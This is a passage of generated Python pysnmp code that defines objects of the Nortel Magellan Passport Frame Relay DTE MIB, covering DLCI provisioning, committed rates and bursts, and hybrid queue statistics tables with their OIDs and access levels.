frDteRgLtDlciEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 219, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteRgIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteRgLtDlciValue"))
if mibBuilder.loadTexts: frDteRgLtDlciEntry.setStatus('mandatory')
frDteRgLtDlciValue = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 219, 1, 1), Link()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteRgLtDlciValue.setStatus('mandatory')
frDteRgLtDlciRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 219, 1, 2), RowStatus()).setMaxAccess("writeonly")
if mibBuilder.loadTexts: frDteRgLtDlciRowStatus.setStatus('mandatory')
frDteRgBfr = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 15))
frDteRgBfrRowStatusTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 15, 1), )
if mibBuilder.loadTexts: frDteRgBfrRowStatusTable.setStatus('mandatory')
frDteRgBfrRowStatusEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 15, 1, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteRgIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteRgBfrIndex"))
if mibBuilder.loadTexts: frDteRgBfrRowStatusEntry.setStatus('mandatory')
frDteRgBfrRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 15, 1, 1, 1), RowStatus()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteRgBfrRowStatus.setStatus('mandatory')
frDteRgBfrComponentName = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 15, 1, 1, 2), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteRgBfrComponentName.setStatus('mandatory')
frDteRgBfrStorageType = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 15, 1, 1, 4), StorageType()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteRgBfrStorageType.setStatus('mandatory')
frDteRgBfrIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 15, 1, 1, 10), NonReplicated())
if mibBuilder.loadTexts: frDteRgBfrIndex.setStatus('mandatory')
frDteRgBfrProvTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 15, 10), )
if mibBuilder.loadTexts: frDteRgBfrProvTable.setStatus('mandatory')
frDteRgBfrProvEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 15, 10, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteRgIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteRgBfrIndex"))
if mibBuilder.loadTexts: frDteRgBfrProvEntry.setStatus('mandatory')
frDteRgBfrMacType = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 15, 10, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2))).clone(namedValues=NamedValues(("fddi", 0), ("enet", 1), ("tokenRing", 2))).clone('enet')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteRgBfrMacType.setStatus('mandatory')
frDteRgBfrBfrIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 15, 10, 1, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 511))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteRgBfrBfrIndex.setStatus('mandatory')
frDteRgBfrOprTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 15, 11), )
if mibBuilder.loadTexts: frDteRgBfrOprTable.setStatus('mandatory')
frDteRgBfrOprEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 15, 11, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteRgIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteRgBfrIndex"))
if mibBuilder.loadTexts: frDteRgBfrOprEntry.setStatus('mandatory')
frDteRgBfrMacAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 4, 15, 11, 1, 1), DashedHexString().subtype(subtypeSpec=ValueSizeConstraint(6, 6)).setFixedLength(6)).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteRgBfrMacAddr.setStatus('mandatory')
frDteDynDlciDefs = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 5))
frDteDynDlciDefsRowStatusTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 5, 1), )
if mibBuilder.loadTexts: frDteDynDlciDefsRowStatusTable.setStatus('mandatory')
frDteDynDlciDefsRowStatusEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 5, 1, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteDynDlciDefsIndex"))
if mibBuilder.loadTexts: frDteDynDlciDefsRowStatusEntry.setStatus('mandatory')
frDteDynDlciDefsRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 5, 1, 1, 1), RowStatus()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteDynDlciDefsRowStatus.setStatus('mandatory')
frDteDynDlciDefsComponentName = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 5, 1, 1, 2), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteDynDlciDefsComponentName.setStatus('mandatory')
frDteDynDlciDefsStorageType = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 5, 1, 1, 4), StorageType()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteDynDlciDefsStorageType.setStatus('mandatory')
frDteDynDlciDefsIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 5, 1, 1, 10), NonReplicated())
if mibBuilder.loadTexts: frDteDynDlciDefsIndex.setStatus('mandatory')
frDteDynDlciDefsProvTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 5, 10), )
if mibBuilder.loadTexts: frDteDynDlciDefsProvTable.setStatus('mandatory')
frDteDynDlciDefsProvEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 5, 10, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteDynDlciDefsIndex"))
if mibBuilder.loadTexts: frDteDynDlciDefsProvEntry.setStatus('mandatory')
frDteDynDlciDefsStdRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 5, 10, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("active", 1), ("notInService", 2))).clone('active')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteDynDlciDefsStdRowStatus.setStatus('mandatory')
frDteDynDlciDefsRateEnforcement = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 5, 10, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2))).clone('disabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteDynDlciDefsRateEnforcement.setStatus('mandatory')
frDteDynDlciDefsCommittedInformationRate = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 5, 10, 1, 3), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 48000000)).clone(64000)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteDynDlciDefsCommittedInformationRate.setStatus('mandatory')
frDteDynDlciDefsCommittedBurst = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 5, 10, 1, 4), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 2048000)).clone(64000)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteDynDlciDefsCommittedBurst.setStatus('mandatory')
frDteDynDlciDefsExcessBurst = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 5, 10, 1, 5), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 2048000))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteDynDlciDefsExcessBurst.setStatus('mandatory')
frDteDynDlciDefsExcessBurstAction = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 5, 10, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("none", 1), ("setDeBit", 2))).clone('none')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteDynDlciDefsExcessBurstAction.setStatus('mandatory')
frDteDynDlciDefsIpCos = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 5, 10, 1, 7), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 3))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteDynDlciDefsIpCos.setStatus('mandatory')
frDteStDlci = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6))
frDteStDlciRowStatusTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 1), )
if mibBuilder.loadTexts: frDteStDlciRowStatusTable.setStatus('mandatory')
frDteStDlciRowStatusEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 1, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteStDlciIndex"))
if mibBuilder.loadTexts: frDteStDlciRowStatusEntry.setStatus('mandatory')
frDteStDlciRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 1, 1, 1), RowStatus()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteStDlciRowStatus.setStatus('mandatory')
frDteStDlciComponentName = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 1, 1, 2), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteStDlciComponentName.setStatus('mandatory')
frDteStDlciStorageType = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 1, 1, 4), StorageType()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteStDlciStorageType.setStatus('mandatory')
frDteStDlciIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 1, 1, 10), Integer32().subtype(subtypeSpec=ValueRangeConstraint(16, 1007)))
if mibBuilder.loadTexts: frDteStDlciIndex.setStatus('mandatory')
frDteStDlciProvTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 10), )
if mibBuilder.loadTexts: frDteStDlciProvTable.setStatus('mandatory')
frDteStDlciProvEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 10, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteStDlciIndex"))
if mibBuilder.loadTexts: frDteStDlciProvEntry.setStatus('mandatory')
frDteStDlciStdRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 10, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("active", 1), ("notInService", 2))).clone('active')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteStDlciStdRowStatus.setStatus('mandatory')
frDteStDlciRateEnforcement = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 10, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("enabled", 1), ("disabled", 2))).clone('disabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteStDlciRateEnforcement.setStatus('mandatory')
frDteStDlciCommittedInformationRate = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 10, 1, 3), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 48000000)).clone(64000)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteStDlciCommittedInformationRate.setStatus('mandatory')
frDteStDlciCommittedBurst = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 10, 1, 4), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 2048000)).clone(64000)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteStDlciCommittedBurst.setStatus('mandatory')
frDteStDlciExcessBurst = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 10, 1, 5), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 2048000))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteStDlciExcessBurst.setStatus('mandatory')
frDteStDlciExcessBurstAction = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 10, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("none", 1), ("setDeBit", 2))).clone('none')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteStDlciExcessBurstAction.setStatus('mandatory')
frDteStDlciIpCos = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 10, 1, 7), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 3))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteStDlciIpCos.setStatus('mandatory')
frDteStDlciRgLinkTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 11), )
if mibBuilder.loadTexts: frDteStDlciRgLinkTable.setStatus('mandatory')
frDteStDlciRgLinkEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 11, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteStDlciIndex"))
if mibBuilder.loadTexts: frDteStDlciRgLinkEntry.setStatus('mandatory')
frDteStDlciLinkToRemoteGroup = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 11, 1, 1), Link()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteStDlciLinkToRemoteGroup.setStatus('mandatory')
frDteStDlciHq = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2))
frDteStDlciHqRowStatusTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 1), )
if mibBuilder.loadTexts: frDteStDlciHqRowStatusTable.setStatus('mandatory')
frDteStDlciHqRowStatusEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 1, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteStDlciIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteStDlciHqIndex"))
if mibBuilder.loadTexts: frDteStDlciHqRowStatusEntry.setStatus('mandatory')
frDteStDlciHqRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 1, 1, 1), RowStatus()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteStDlciHqRowStatus.setStatus('mandatory')
frDteStDlciHqComponentName = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 1, 1, 2), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteStDlciHqComponentName.setStatus('mandatory')
frDteStDlciHqStorageType = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 1, 1, 4), StorageType()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteStDlciHqStorageType.setStatus('mandatory')
frDteStDlciHqIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 1, 1, 10), NonReplicated())
if mibBuilder.loadTexts: frDteStDlciHqIndex.setStatus('mandatory')
frDteStDlciHqProvTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 10), )
if mibBuilder.loadTexts: frDteStDlciHqProvTable.setStatus('mandatory')
frDteStDlciHqProvEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 10, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteStDlciIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteStDlciHqIndex"))
if mibBuilder.loadTexts: frDteStDlciHqProvEntry.setStatus('mandatory')
frDteStDlciHqMaxPackets = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 10, 1, 1), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 2048))).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteStDlciHqMaxPackets.setStatus('mandatory')
frDteStDlciHqMaxMsecData = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 10, 1, 2), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(100, 60000)).clone(10000)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteStDlciHqMaxMsecData.setStatus('mandatory')
frDteStDlciHqMaxPercentMulticast = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 10, 1, 3), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(1, 100)).clone(50)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteStDlciHqMaxPercentMulticast.setStatus('mandatory')
frDteStDlciHqTimeToLive = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 10, 1, 4), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(100, 60000)).clone(10000)).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteStDlciHqTimeToLive.setStatus('mandatory')
frDteStDlciHqStatsTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 11), )
if mibBuilder.loadTexts: frDteStDlciHqStatsTable.setStatus('mandatory')
frDteStDlciHqStatsEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 11, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteStDlciIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteStDlciHqIndex"))
if mibBuilder.loadTexts: frDteStDlciHqStatsEntry.setStatus('mandatory')
frDteStDlciHqTimedOutPkt = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 11, 1, 1), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteStDlciHqTimedOutPkt.setStatus('mandatory')
frDteStDlciHqQueuePurgeDiscards = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 11, 1, 2), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteStDlciHqQueuePurgeDiscards.setStatus('mandatory')
frDteStDlciHqTStatsTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 12), )
if mibBuilder.loadTexts: frDteStDlciHqTStatsTable.setStatus('mandatory')
frDteStDlciHqTStatsEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 12, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteStDlciIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteStDlciHqIndex"))
if mibBuilder.loadTexts: frDteStDlciHqTStatsEntry.setStatus('mandatory')
frDteStDlciHqTotalPktHandled = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 12, 1, 1), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteStDlciHqTotalPktHandled.setStatus('mandatory')
frDteStDlciHqTotalPktForwarded = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 12, 1, 2), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteStDlciHqTotalPktForwarded.setStatus('mandatory')
frDteStDlciHqTotalPktQueued = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 12, 1, 3), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteStDlciHqTotalPktQueued.setStatus('mandatory')
frDteStDlciHqTotalMulticastPkt = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 12, 1, 4), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteStDlciHqTotalMulticastPkt.setStatus('mandatory')
frDteStDlciHqTotalPktDiscards = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 12, 1, 5), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteStDlciHqTotalPktDiscards.setStatus('mandatory')
frDteStDlciHqCStatsTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 13), )
if mibBuilder.loadTexts: frDteStDlciHqCStatsTable.setStatus('mandatory')
frDteStDlciHqCStatsEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 13, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteStDlciIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteStDlciHqIndex"))
if mibBuilder.loadTexts: frDteStDlciHqCStatsEntry.setStatus('mandatory')
frDteStDlciHqCurrentPktQueued = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 13, 1, 1), Gauge32().subtype(subtypeSpec=ValueRangeConstraint(0, 4294967295))).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteStDlciHqCurrentPktQueued.setStatus('mandatory')
frDteStDlciHqCurrentBytesQueued = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 13, 1, 2), Gauge32().subtype(subtypeSpec=ValueRangeConstraint(0, 4294967295))).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteStDlciHqCurrentBytesQueued.setStatus('mandatory')
frDteStDlciHqCurrentMulticastQueued = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 13, 1, 3), Gauge32().subtype(subtypeSpec=ValueRangeConstraint(0, 4294967295))).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteStDlciHqCurrentMulticastQueued.setStatus('mandatory')
frDteStDlciHqThrStatsTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 14), )
if mibBuilder.loadTexts: frDteStDlciHqThrStatsTable.setStatus('mandatory')
frDteStDlciHqThrStatsEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 14, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteStDlciIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteStDlciHqIndex"))
if mibBuilder.loadTexts: frDteStDlciHqThrStatsEntry.setStatus('mandatory')
frDteStDlciHqQueuePktThreshold = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 14, 1, 1), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 4294967295))).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteStDlciHqQueuePktThreshold.setStatus('mandatory')
frDteStDlciHqPktThresholdExceeded = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 14, 1, 2), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteStDlciHqPktThresholdExceeded.setStatus('mandatory')
frDteStDlciHqQueueByteThreshold = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 14, 1, 3), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 4294967295))).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteStDlciHqQueueByteThreshold.setStatus('mandatory')
frDteStDlciHqByteThresholdExceeded = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 14, 1, 4), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteStDlciHqByteThresholdExceeded.setStatus('mandatory')
frDteStDlciHqQueueMulticastThreshold = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 14, 1, 5), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 4294967295))).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteStDlciHqQueueMulticastThreshold.setStatus('mandatory')
frDteStDlciHqMulThresholdExceeded = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 14, 1, 6), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteStDlciHqMulThresholdExceeded.setStatus('mandatory')
frDteStDlciHqMemThresholdExceeded = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 6, 2, 14, 1, 7), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteStDlciHqMemThresholdExceeded.setStatus('mandatory')
frDteLeq = MibIdentifier((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7))
frDteLeqRowStatusTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 1), )
if mibBuilder.loadTexts: frDteLeqRowStatusTable.setStatus('mandatory')
frDteLeqRowStatusEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 1, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteLeqIndex"))
if mibBuilder.loadTexts: frDteLeqRowStatusEntry.setStatus('mandatory')
frDteLeqRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 1, 1, 1), RowStatus()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: frDteLeqRowStatus.setStatus('mandatory')
frDteLeqComponentName = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 1, 1, 2), DisplayString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteLeqComponentName.setStatus('mandatory')
frDteLeqStorageType = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 1, 1, 4), StorageType()).setMaxAccess("readonly")
if mibBuilder.loadTexts: frDteLeqStorageType.setStatus('mandatory')
frDteLeqIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 1, 1, 10), NonReplicated())
if mibBuilder.loadTexts: frDteLeqIndex.setStatus('mandatory')
frDteLeqProvTable = MibTable((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 10), )
if mibBuilder.loadTexts: frDteLeqProvTable.setStatus('mandatory')
frDteLeqProvEntry = MibTableRow((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 10, 1), ).setIndexNames((0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteIndex"), (0, "Nortel-Magellan-Passport-FrameRelayDteMIB", "frDteLeqIndex"))
if mibBuilder.loadTexts: frDteLeqProvEntry.setStatus('mandatory')
frDteLeqMaxPackets = MibTableColumn((1, 3, 6, 1, 4, 1, 562, 2, 4, 1, 101, 7, 10, 1, 1), Unsigned32().subtype(subtypeSpec=ValueRangeConstraint(0, 2048))).setMaxAccess("readwrite")
